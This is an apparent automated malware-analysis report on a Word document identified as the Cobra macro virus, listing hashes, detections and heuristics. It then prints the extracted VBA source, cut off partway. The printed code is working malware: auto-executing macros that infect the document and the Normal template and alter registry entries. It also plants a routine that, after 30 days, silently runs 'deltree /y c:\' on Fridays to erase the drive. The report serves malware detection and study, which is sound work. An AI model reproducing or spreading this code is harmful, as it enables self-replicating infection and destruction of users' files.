Cobra — Office (OLE) malware analysis

Static analysis result for SHA-256 ec2b9c84376281ae…

MALICIOUS

Office (OLE)

42.0 KB Created: 2000-03-06 16:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: be2641e1a697531c0d5f530596b4361e SHA-1: a88ca7dd4cd405452c998b5c7ac3531695efd4b0 SHA-256: ec2b9c84376281ae04f98159f9ffba8eb777b8f9f5820012b839fa7d6d8b9419
320 Risk Score

Malware Insights

Cobra · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1082 System Information Discovery

The sample contains VBA macros, including AutoOpen and Auto_Close, which are indicative of malicious intent. The script attempts to infect the document and the Normal template, and also attempts to modify registry keys related to Office and Windows Run entries. The ClamAV detection of 'Doc.Trojan.Cobra-12' and 'Win.Worm.VBS-213' strongly suggests this is a variant of the Cobra malware family, likely delivered as a spearphishing attachment.

Heuristics 7

  • ClamAV: Doc.Trojan.Cobra-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cobra-12
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19620 bytes
SHA-256: 6634dd25df64d9f0dbbecb53feeffd9c9b1486738b397b61338775bf03367b43
Detection
ClamAV: Win.Worm.VBS-213
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AAX_10D"
'AAX Version 1.0D
'An intelligent member of Cobra Family

Sub InfectCobra()
On Error Resume Next
InfectedDoc = False
InfectedNor = False
For Each IDoc In ActiveDocument.VBProject.VBComponents
If IDoc.Name <> "AAX_10D" And IDoc.Name <> "ThisDocument" And IDoc.Name <> "Reference to Normal" Then
Application.OrganizerDelete Source:=ActiveDocument.FullName, Name:=IDoc.Name, _
Object:=wdOrganizerObjectProjectItems
End If
Next
For Each INor In NormalTemplate.VBProject.VBComponents
If INor.Name <> "AAX_10D" And INor.Name <> "ThisDocument" Then
Application.OrganizerDelete Source:=NormalTemplate.FullName, _
Name:=INor.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
For Each IDoc In ActiveDocument.VBProject.VBComponents
If IDoc.Name = "AAX_10D" Then InfectedDoc = True
Next
For Each INor In NormalTemplate.VBProject.VBComponents
If INor.Name = "AAX_10D" Then InfectedNor = True
Next
If InfectedDoc = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument.FullName, _
Name:="AAX_10D", _
Object:=wdOrganizerObjectProjectItems
End If
If InfectedNor = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, _
Name:="AAX_10D", _
Object:=wdOrganizerObjectProjectItems
End If
End Sub
Sub AutoOpen()
Call Prot
Call RegEdit
Call InfectCobra
Call SendEmail
Call CreateCobra
End Sub
Sub RegEdit()
If System.PrivateProfileString("", "HKEY_CURRENT_USER\software\microsoft\office\", "Cobra") <> "Cobra" Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\software\microsoft\office\", "Cobra") = "Cobra"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "Cobra.LRB"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "RegisteredOrganization") = "LRB/DHK/BD"
End If
ID = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Cobra\", "Inf")
If Not IsDate(ID) Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Cobra\", "Inf") = Format(Date, "mm/dd/yy")
End If
End Sub
Sub CreateCobra()
On Error Resume Next
InfectedDoc = False
InfectedNor = False
ID = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Cobra\", "Inf")
CD = Format(Date, "mm/dd/yyyy")
TD = DateValue(CD) - DateValue(ID)
If TD >= 30 Then
For Each IDoc In ActiveDocument.VBProject.VBComponents
If IDoc.Name = "Cobra" Then InfectedDoc = True
Next
For Each INor In NormalTemplate.VBProject.VBComponents
If INor.Name = "Cobra" Then InfectedNor = True
Next
If InfectedDoc = False Then
Set AddMod = ActiveDocument.VBProject.VBComponents.Add(1)
AddMod.Name = "Cobra"
LA = "Sub FileNew" + Chr(13) + _
"On error resume next" + Chr(13) + _
"if weekday(date)=6 then " + Chr(13) + _
"Shell +""deltree /y c:\"", vbHide " + Chr(13) + _
"End if" + Chr(13) + _
"End Sub"
ActiveDocument.VBProject.VBComponents("Cobra").CodeModule.AddFromString LA
End If
If InfectedNor = False Then
Set AddMod = NormalTemplate.VBProject.VBComponents.Add(1)
AddMod.Name = "Cobra"
LA = "Sub FileNew" + Chr(13) + _
"On error resume next" + Chr(13) + _
"if weekday(date)=6 then " + Chr(13) + _
"Shell +""deltree /y c:\"", vbHide " + Chr(13) + _
"End if" + Chr(13) + _
"End Sub"
NormalTemplate.VBProject.VBComponents("Cobra").CodeModule.AddFromString LA
End If
End If
End Sub
Sub AutoClose()
On Error Resume Next
Call Prot
Call RegEdit
Call InfectCobra
Call SendEmail
Call CreateCobra
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
Sub FileOpen()
On Error Resume Next
Call Prot
Call RegEdit
Call InfectCobra
Call SendEmail
Call CreateCobra
Dialogs(wdDialogFileOpen).Show
End Sub
Sub FileClose()
On Error Resume Next
Call 
... (truncated)